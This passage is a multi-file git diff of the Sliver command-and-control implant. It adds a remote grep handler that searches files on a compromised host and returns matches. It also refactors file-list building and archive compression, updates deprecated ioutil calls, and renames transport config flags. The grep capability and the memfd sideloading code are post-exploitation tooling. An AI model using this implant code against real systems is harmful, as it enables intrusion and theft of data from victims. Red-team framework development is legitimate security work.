|
||||
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: 0, UnreadableFiles: 0}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
}
|
||||
|
||||
data, _ = proto.Marshal(download)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
path, filter := determineDirPathFilter(target)
|
||||
|
||||
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
|
||||
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse, downloadReq.MaxBytes, downloadReq.MaxLines)
|
||||
|
||||
if err != nil {
|
||||
if isDir {
|
||||
@@ -537,6 +615,221 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func searchFileForPattern(searchPath string, searchPattern *regexp.Regexp, linesBeforeCount int, linesAfterCount int) ([]*sliverpb.GrepResult, bool, error) {
|
||||
var results []*sliverpb.GrepResult
|
||||
|
||||
fileHandle, err := os.Open(searchPath)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
defer fileHandle.Close()
|
||||
|
||||
fileScanner := bufio.NewScanner(fileHandle)
|
||||
var linePosition int64 = 1
|
||||
var linesBefore []string
|
||||
var linesAfter []string
|
||||
// A slice containing the line numbers that we need to capture lines up to
|
||||
var linePositionsAfter []int64
|
||||
var resultIndex int = 0
|
||||
binaryFile := false
|
||||
textLine := false
|
||||
|
||||
for fileScanner.Scan() {
|
||||
line := fileScanner.Text()
|
||||
// If the line is not valid UTF-8, then the file contains binary
|
||||
// We do not want to send binary data back to the client
|
||||
textLine = utf8.ValidString(line)
|
||||
if !textLine {
|
||||
binaryFile = true
|
||||
// Disable before and after line counts
|
||||
linesBeforeCount = 0
|
||||
linesAfterCount = 0
|
||||
}
|
||||
|
||||
if linesBeforeCount > 0 && !binaryFile {
|
||||
linesBefore = append(linesBefore, line)
|
||||
if len(linesBefore) > int(linesBeforeCount)+1 {
|
||||
linesBefore = linesBefore[1:]
|
||||
}
|
||||
}
|
||||
|
||||
if linesAfterCount > 0 && len(linePositionsAfter) > 0 && !binaryFile {
|
||||
if linePosition <= linePositionsAfter[0] {
|
||||
linesAfter = append(linesAfter, line)
|
||||
if len(linesAfter) > linesAfterCount {
|
||||
linesAfter = linesAfter[1:]
|
||||
}
|
||||
} else {
|
||||
results[resultIndex].LinesAfter = make([]string, len(linesAfter))
|
||||
copy(results[resultIndex].LinesAfter, linesAfter)
|
||||
if len(linePositionsAfter) > 1 {
|
||||
linesAfter = linesAfter[linePositionsAfter[1]-linePositionsAfter[0]:]
|
||||
} else {
|
||||
linesAfter = linesAfter[1:]
|
||||
}
|
||||
linePositionsAfter = linePositionsAfter[1:]
|
||||
resultIndex += 1
|
||||
linesAfter = append(linesAfter, line)
|
||||
}
|
||||
}
|
||||
|
||||
if matches := searchPattern.FindAllStringIndex(line, -1); matches != nil {
|
||||
if !textLine {
|
||||
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition})
|
||||
} else {
|
||||
var positions []*sliverpb.GrepLinePosition
|
||||
for _, match := range matches {
|
||||
positions = append(positions, &sliverpb.GrepLinePosition{Start: int32(match[0]), End: int32(match[1])})
|
||||
}
|
||||
if linesBeforeCount > 0 && len(linesBefore) > 0 {
|
||||
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition, Positions: positions, Line: line, LinesBefore: linesBefore[:len(linesBefore)-1]})
|
||||
} else {
|
||||
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition, Positions: positions, Line: line, LinesBefore: []string{}})
|
||||
}
|
||||
if linesAfterCount > 0 {
|
||||
linePositionsAfter = append(linePositionsAfter, linePosition+int64(linesAfterCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
linePosition += 1
|
||||
}
|
||||
|
||||
// We reached the end of the file, but we need to make sure we capture any lines that might be queued up
|
||||
if linesAfterCount > 0 && len(linePositionsAfter) > 0 && !binaryFile {
|
||||
for idx, afterLinePosition := range linePositionsAfter {
|
||||
sliceStopPosition := len(linesAfter)
|
||||
if len(linesAfter) >= linesAfterCount {
|
||||
sliceStopPosition = linesAfterCount
|
||||
}
|
||||
results[resultIndex].LinesAfter = make([]string, len(linesAfter[:sliceStopPosition]))
|
||||
copy(results[resultIndex].LinesAfter, linesAfter[:sliceStopPosition])
|
||||
if idx != len(linePositionsAfter)-1 {
|
||||
nextPosition := linePositionsAfter[idx+1]
|
||||
linesAfter = linesAfter[nextPosition-afterLinePosition:]
|
||||
}
|
||||
resultIndex += 1
|
||||
}
|
||||
}
|
||||
|
||||
return results, binaryFile, nil
|
||||
}
|
||||
|
||||
func searchPathForPattern(searchPath string, filter string, searchPattern *regexp.Regexp, recursive bool, linesBefore int, linesAfter int) (map[string]*sliverpb.GrepResultsForFile, error) {
|
||||
var results map[string]*sliverpb.GrepResultsForFile = make(map[string]*sliverpb.GrepResultsForFile)
|
||||
|
||||
fileList, err := buildFileList(searchPath, filter, recursive)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, file := range fileList {
|
||||
fi, err := os.Stat(file)
|
||||
if err != nil {
|
||||
// Cannot get info on the file, so skip it
|
||||
continue
|
||||
}
|
||||
|
||||
// If the file is a symlink replace fileInfo and path with the symlink destination.
|
||||
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
file, err = filepath.EvalSymlinks(file)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// Do the grep
|
||||
fileResults, binaryFile, err := searchFileForPattern(file, searchPattern, linesBefore, linesAfter)
|
||||
|
||||
if err != nil {
|
||||
// The error for this file will go back in the results
|
||||
result := &sliverpb.GrepResult{LineNumber: -1, Positions: nil, Line: err.Error()}
|
||||
results[file] = &sliverpb.GrepResultsForFile{FileResults: []*sliverpb.GrepResult{result}, IsBinary: binaryFile}
|
||||
continue
|
||||
} else {
|
||||
results[file] = &sliverpb.GrepResultsForFile{FileResults: fileResults, IsBinary: binaryFile}
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func performGrep(searchPath string, searchPattern *regexp.Regexp, recursive bool, linesBefore int, linesAfter int) (map[string]*sliverpb.GrepResultsForFile, error) {
|
||||
var results map[string]*sliverpb.GrepResultsForFile
|
||||
|
||||
target, _ := filepath.Abs(searchPath)
|
||||
|
||||
fileInfo, err := os.Stat(target)
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
result, binaryFile, err := searchFileForPattern(target, searchPattern, linesBefore, linesAfter)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
results = make(map[string]*sliverpb.GrepResultsForFile)
|
||||
results[target] = &sliverpb.GrepResultsForFile{FileResults: result, IsBinary: binaryFile}
|
||||
return results, nil
|
||||
} else if err == nil && fileInfo.IsDir() {
|
||||
if fileInfo.IsDir() {
|
||||
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
|
||||
target += "/"
|
||||
}
|
||||
}
|
||||
/*
|
||||
The search path might not exist or be accessible,
|
||||
but we will determine that when we try to do the search
|
||||
*/
|
||||
|
||||
path, filter := determineDirPathFilter(target)
|
||||
|
||||
results, err = searchPathForPattern(path, filter, searchPattern, recursive, linesBefore, linesAfter)
|
||||
|
||||
return results, err
|
||||
}
|
||||
|
||||
func grepHandler(data []byte, resp RPCResponse) {
|
||||
grepReq := &sliverpb.GrepReq{}
|
||||
err := proto.Unmarshal(data, grepReq)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
resp([]byte{}, err)
|
||||
return
|
||||
}
|
||||
|
||||
grep := &sliverpb.Grep{Results: nil}
|
||||
|
||||
// Sanity check the request (does the regex compile?)
|
||||
searchRegex, err := regexp.Compile(grepReq.SearchPattern)
|
||||
if err != nil {
|
||||
// There is something wrong with the supplied regex
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error getting parsing the search pattern: %v", err)
|
||||
// {{end}}
|
||||
grep.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("There was a problem with the supplied search pattern: %v", err),
|
||||
}
|
||||
|
||||
data, _ = proto.Marshal(grep)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
|
||||
grep.Results, err = performGrep(grepReq.Path, searchRegex, grepReq.Recursive, int(grepReq.LinesBefore), int(grepReq.LinesAfter))
|
||||
grep.SearchPathAbsolute, _ = filepath.Abs(grepReq.Path)
|
||||
if err == nil {
|
||||
grep.Response = &commonpb.Response{}
|
||||
} else {
|
||||
grep.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
}
|
||||
}
|
||||
|
||||
data, _ = proto.Marshal(grep)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func uploadHandler(data []byte, resp RPCResponse) {
|
||||
uploadReq := &sliverpb.UploadReq{}
|
||||
err := proto.Unmarshal(data, uploadReq)
|
||||
@@ -884,38 +1177,10 @@ func standarizeArchiveFileName(path string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
|
||||
zipWriter := gzip.NewWriter(buf)
|
||||
tarWriter := tar.NewWriter(zipWriter)
|
||||
readFiles := 0
|
||||
unreadableFiles := 0
|
||||
func buildFileList(path string, filter string, recurse bool) ([]string, error) {
|
||||
var matchingFiles []string
|
||||
|
||||
/*
|
||||
There is an edge case where if you are trying to download a junction on Windows,
|
||||
you will get access denied
|
||||
|
||||
To resolve this, we will resolve the junction or symlink before we do anything.
|
||||
Even though resolving the symlink first is not necessary on *nix, it does not hurt
|
||||
and will make it so that we do not have to detect if we are on Windows.
|
||||
*/
|
||||
pathInfo, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
path, err = filepath.EvalSymlinks(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
// The path we get back from EvalSymlinks does not have a trailing separator
|
||||
// Forward slash is fine even on Windows.
|
||||
path += "/"
|
||||
}
|
||||
|
||||
/*
|
||||
Build the list of files to include in the archive.
|
||||
Build the list of files to include in the archive or to search.
|
||||
|
||||
Walking the directory can take a long time and do a lot of unnecessary work
|
||||
if we do not need to recurse through subdirectories.
|
||||
@@ -927,12 +1192,12 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
testPath := strings.ReplaceAll(path, "\\", "/")
|
||||
directory, err := os.Open(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
return nil, err
|
||||
}
|
||||
directoryFiles, err := directory.Readdirnames(0)
|
||||
directory.Close()
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, fileName := range directoryFiles {
|
||||
@@ -965,6 +1230,44 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
})
|
||||
}
|
||||
|
||||
return matchingFiles, nil
|
||||
}
|
||||
|
||||
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
|
||||
zipWriter := gzip.NewWriter(buf)
|
||||
tarWriter := tar.NewWriter(zipWriter)
|
||||
readFiles := 0
|
||||
unreadableFiles := 0
|
||||
var matchingFiles []string
|
||||
|
||||
/*
|
||||
There is an edge case where if you are trying to download a junction on Windows,
|
||||
you will get access denied
|
||||
|
||||
To resolve this, we will resolve the junction or symlink before we do anything.
|
||||
Even though resolving the symlink first is not necessary on *nix, it does not hurt
|
||||
and will make it so that we do not have to detect if we are on Windows.
|
||||
*/
|
||||
pathInfo, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
path, err = filepath.EvalSymlinks(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
// The path we get back from EvalSymlinks does not have a trailing separator
|
||||
// Forward slash is fine even on Windows.
|
||||
path += "/"
|
||||
}
|
||||
|
||||
matchingFiles, err = buildFileList(path, filter, recurse)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
for _, file := range matchingFiles {
|
||||
fi, err := os.Stat(file)
|
||||
if err != nil {
|
||||
|
||||
@@ -21,8 +21,9 @@ package handlers
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"syscall"
|
||||
"strconv"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -49,6 +50,7 @@ var (
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
@@ -68,7 +70,7 @@ var (
|
||||
pb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
|
||||
pb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
// Wireguard specific
|
||||
pb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
pb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
@@ -152,7 +154,7 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
func getUid(fileInfo os.FileInfo) string {
|
||||
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
|
||||
uid_str := strconv.FormatUint(uint64(uid), 10)
|
||||
usr, err := user.LookupId(uid_str)
|
||||
@@ -162,7 +164,7 @@ func getUid(fileInfo os.FileInfo) (string) {
|
||||
return usr.Name
|
||||
}
|
||||
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
func getGid(fileInfo os.FileInfo) string {
|
||||
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
|
||||
gid_str := strconv.FormatUint(uint64(gid), 10)
|
||||
grp, err := user.LookupGroupId(gid_str)
|
||||
|
||||
@@ -28,6 +28,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
@@ -49,6 +50,7 @@ var (
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
@@ -68,11 +70,11 @@ func GetSystemPivotHandlers() map[uint32]TunnelHandler {
|
||||
}
|
||||
|
||||
// Stub
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
func getUid(fileInfo os.FileInfo) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Stub
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
func getGid(fileInfo os.FileInfo) string {
|
||||
return ""
|
||||
}
|
||||
@@ -71,13 +71,14 @@ var (
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
|
||||
sliverpb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
|
||||
@@ -102,6 +102,7 @@ var (
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -113,7 +114,7 @@ var (
|
||||
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
|
||||
sliverpb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
|
||||
@@ -34,7 +34,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
@@ -212,7 +211,7 @@ func getProcName(s []byte) string {
|
||||
func (p *procFd) iterFdDir() {
|
||||
// link name is of the form socket:[5860846]
|
||||
fddir := path.Join(p.base, "/fd")
|
||||
fi, err := ioutil.ReadDir(fddir)
|
||||
fi, err := os.ReadDir(fddir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -252,7 +251,7 @@ func (p *procFd) iterFdDir() {
|
||||
|
||||
func extractProcInfo(sktab []SockTabEntry) {
|
||||
var basedir = "/proc"
|
||||
fi, err := ioutil.ReadDir(basedir)
|
||||
fi, err := os.ReadDir(basedir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -17,7 +17,6 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -247,7 +246,7 @@ func (p *provider) unmarshalProxyConfigFile() (map[string]string, error) {
|
||||
} else if stat.Size() > 1048576 {
|
||||
return nil, errors.New(fmt.Sprintf("proxy configuration file too large: %s", f))
|
||||
}
|
||||
out, err := ioutil.ReadFile(f)
|
||||
out, err := os.ReadFile(f)
|
||||
if err != nil {
|
||||
return nil, errors.New(fmt.Sprintf("failed to read proxy configuration file: %s: %s", f, err))
|
||||
}
|
||||
|
||||
@@ -17,11 +17,14 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
type providerDarwin struct {
|
||||
@@ -137,6 +140,7 @@ Returns:
|
||||
func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUrl *url.URL) Proxy {
|
||||
proxy, err := p.parseScutildata(protocol, targetUrl, scUtilBinary, scUtilBinaryArgument)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
if isNotFound(err) {
|
||||
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: %s proxy is not enabled.\n", protocol)
|
||||
} else if isTimedOut(err) {
|
||||
@@ -144,6 +148,7 @@ func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUr
|
||||
} else {
|
||||
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: Failed to parse Scutil data, %s\n", err)
|
||||
}
|
||||
// {{end}}
|
||||
}
|
||||
return proxy
|
||||
}
|
||||
@@ -257,7 +262,9 @@ func (p *providerDarwin) parseScutildata(protocol string, targetUrl *url.URL, na
|
||||
}
|
||||
if proxyBypass != "" {
|
||||
bypass := p.isProxyBypass(targetUrl, proxyBypass, ",")
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[proxy.Provider.parseProxyInfo]: ProxyBypass=\"%s\", targetUrl=%s, bypass=%t", proxyBypass, targetUrl, bypass)
|
||||
// {{end}}
|
||||
if bypass {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -20,11 +20,14 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
type providerDarwin struct {
|
||||
@@ -140,6 +143,7 @@ Returns:
|
||||
func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUrl *url.URL) Proxy {
|
||||
proxy, err := p.parseScutildata(protocol, targetUrl, scUtilBinary, scUtilBinaryArgument)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
if isNotFound(err) {
|
||||
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: %s proxy is not enabled.\n", protocol)
|
||||
} else if isTimedOut(err) {
|
||||
@@ -147,6 +151,7 @@ func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUr
|
||||
} else {
|
||||
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: Failed to parse Scutil data, %s\n", err)
|
||||
}
|
||||
// {{end}}
|
||||
}
|
||||
return proxy
|
||||
}
|
||||
@@ -260,7 +265,9 @@ func (p *providerDarwin) parseScutildata(protocol string, targetUrl *url.URL, na
|
||||
}
|
||||
if proxyBypass != "" {
|
||||
bypass := p.isProxyBypass(targetUrl, proxyBypass, ",")
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[proxy.Provider.parseProxyInfo]: ProxyBypass=\"%s\", targetUrl=%s, bypass=%t", proxyBypass, targetUrl, bypass)
|
||||
// {{end}}
|
||||
if bypass {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -16,7 +16,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -48,7 +47,7 @@ var dataProviderReadConfigFileProxy = []struct {
|
||||
}
|
||||
|
||||
func TestProvider_ReadConfigFileProxy(t *testing.T) {
|
||||
tmpDir, err := ioutil.TempDir("", "TestReadConfigFileProxy")
|
||||
tmpDir, err := os.MkdirTemp("", "TestReadConfigFileProxy")
|
||||
defer os.RemoveAll(tmpDir)
|
||||
for _, tt := range dataProviderReadConfigFileProxy {
|
||||
t.Run(tt.content, func(t *testing.T) {
|
||||
@@ -72,7 +71,7 @@ func TestProvider_ReadConfigFileProxy(t *testing.T) {
|
||||
|
||||
func TestProvider_ReadConfigFileProxy_noFile(t *testing.T) {
|
||||
a := assert.New(t)
|
||||
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
|
||||
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
|
||||
if !a.NoError(err) {
|
||||
return
|
||||
}
|
||||
@@ -87,7 +86,7 @@ func TestProvider_ReadConfigFileProxy_noFile(t *testing.T) {
|
||||
|
||||
func TestProvider_ParseConfigFileProxies_isDir(t *testing.T) {
|
||||
a := assert.New(t)
|
||||
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
|
||||
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
|
||||
if !a.NoError(err) {
|
||||
return
|
||||
}
|
||||
@@ -98,7 +97,7 @@ func TestProvider_ParseConfigFileProxies_isDir(t *testing.T) {
|
||||
|
||||
func TestProvider_ParseConfigFileProxies_emptyFile(t *testing.T) {
|
||||
a := assert.New(t)
|
||||
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
|
||||
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
|
||||
if !a.NoError(err) {
|
||||
return
|
||||
}
|
||||
@@ -118,7 +117,7 @@ func TestProvider_ParseConfigFileProxies_emptyFile(t *testing.T) {
|
||||
|
||||
func TestProvider_ParseConfigFileProxies_tooLarge(t *testing.T) {
|
||||
a := assert.New(t)
|
||||
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
|
||||
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
|
||||
if !a.NoError(err) {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -5,7 +5,6 @@ package ps
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/user"
|
||||
"strconv"
|
||||
@@ -86,7 +85,7 @@ func getProcessOwner(pid int) (string, error) {
|
||||
|
||||
func getProcessCmdLine(pid int) ([]string, error) {
|
||||
cmdLinePath := fmt.Sprintf("/proc/%d/cmdline", pid)
|
||||
data, err := ioutil.ReadFile(cmdLinePath)
|
||||
data, err := os.ReadFile(cmdLinePath)
|
||||
if err != nil {
|
||||
return []string{""}, err
|
||||
}
|
||||
@@ -129,7 +128,7 @@ func getProcessArchitecture(pid int) (string, error) {
|
||||
// Refresh reloads all the data associated with this process.
|
||||
func (p *UnixProcess) Refresh() error {
|
||||
statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
|
||||
dataBytes, err := ioutil.ReadFile(statPath)
|
||||
dataBytes, err := os.ReadFile(statPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -124,10 +124,14 @@ func getProcessOwner(pid uint32) (owner string, err error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer syscall.CloseHandle(handle)
|
||||
|
||||
var token syscall.Token
|
||||
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
|
||||
return
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
tokenUser, err := getTokenOwner(token)
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -3,7 +3,6 @@ package ssh
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -31,7 +30,7 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
authMethods = append(authMethods, ssh.PublicKeys(signer))
|
||||
} else if krb5conf != "" && keytab != nil && realm != "" {
|
||||
// Then try kerberos auth
|
||||
krb5ConfData, err := ioutil.ReadFile(krb5conf)
|
||||
krb5ConfData, err := os.ReadFile(krb5conf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -240,6 +240,10 @@ func sessionStartup() {
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
if err == ErrTerminate {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
|
||||
@@ -21,7 +21,6 @@ package taskrunner
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
@@ -80,7 +79,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
pid := os.Getpid()
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
|
||||
err = ioutil.WriteFile(fdPath, data, 0755)
|
||||
err = os.WriteFile(fdPath, data, 0755)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error writing file to memfd: %s\n", err)
|
||||
|
||||
@@ -30,18 +30,18 @@ import (
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
"crypto/tls"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
"net"
|
||||
|
||||
@@ -50,11 +50,11 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"strconv"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
// {{end}}
|
||||
@@ -141,28 +141,28 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
|
||||
switch uri.Scheme {
|
||||
|
||||
// *** MTLS ***
|
||||
// {{if .Config.MTLSc2Enabled}}
|
